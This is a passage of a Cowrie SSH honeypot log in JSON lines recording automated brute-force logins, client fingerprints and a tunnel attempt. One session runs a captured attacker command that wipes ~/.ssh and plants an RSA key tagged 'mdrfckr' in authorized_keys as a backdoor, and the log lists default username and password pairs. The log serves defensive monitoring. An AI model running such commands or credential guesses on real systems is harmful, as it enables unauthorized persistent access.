{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53974,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1424e81ba67","protocol":"ssh","message":"New connection: 176.65.139.95:53974 (159.203.135.109:22) [session: f1424e81ba67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:35.836398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:35.965983Z","src_ip":"176.65.139.95","session":"f1424e81ba67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:35.970147Z","src_ip":"176.65.139.95","session":"f1424e81ba67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:36.418230Z","src_ip":"176.65.139.95","session":"f1424e81ba67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:37.517330Z","src_ip":"176.65.139.95","session":"f1424e81ba67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51666,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd6783b7d5c1","protocol":"ssh","message":"New connection: 87.251.64.176:51666 (10.17.0.5:22) [session: bd6783b7d5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:38.925632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:38.931015Z","src_ip":"87.251.64.176","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:39.027018Z","src_ip":"87.251.64.176","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:39.317630Z","src_ip":"87.251.64.176","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:39.415940Z","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:39.513291Z","src_ip":"87.251.64.176","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:39.670664Z","src_ip":"87.251.64.176","session":"bd6783b7d5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39368,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aa47fea776a","protocol":"ssh","message":"New connection: 176.65.139.95:39368 (159.203.135.109:22) [session: 5aa47fea776a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:42.362921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:42.377321Z","src_ip":"176.65.139.95","session":"5aa47fea776a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:42.447040Z","src_ip":"176.65.139.95","session":"5aa47fea776a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:43.060906Z","src_ip":"176.65.139.95","session":"5aa47fea776a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:44.259377Z","src_ip":"176.65.139.95","session":"5aa47fea776a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"7272fc2ec2cd","protocol":"ssh","message":"New connection: 79.116.23.158:36704 (10.17.0.5:22) [session: 7272fc2ec2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:45.855987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:45.861888Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:45.975494Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"I2KPwdO3","message":"login attempt [oracle/I2KPwdO3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:46.451850Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:46.727766Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:46.731077Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:46.734645Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:46.849684Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.121487Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.125105Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.248743Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.252946Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":37252,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd5ed450f2d","protocol":"ssh","message":"New connection: 79.116.23.158:37252 (10.17.0.5:22) [session: 4dd5ed450f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.348763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.353544Z","src_ip":"79.116.23.158","session":"4dd5ed450f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.458032Z","src_ip":"79.116.23.158","session":"4dd5ed450f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:47.913479Z","src_ip":"79.116.23.158","session":"4dd5ed450f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55282,"dst_ip":"159.203.135.109","dst_port":22,"session":"1143d9c95f34","protocol":"ssh","message":"New connection: 176.65.139.95:55282 (159.203.135.109:22) [session: 1143d9c95f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:48.684320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:48.689366Z","src_ip":"176.65.139.95","session":"1143d9c95f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:48.796079Z","src_ip":"176.65.139.95","session":"1143d9c95f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.020543Z","src_ip":"79.116.23.158","session":"4dd5ed450f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":37894,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df067fcbe3f","protocol":"ssh","message":"New connection: 79.116.23.158:37894 (10.17.0.5:22) [session: 5df067fcbe3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.125715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.130052Z","src_ip":"79.116.23.158","session":"5df067fcbe3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 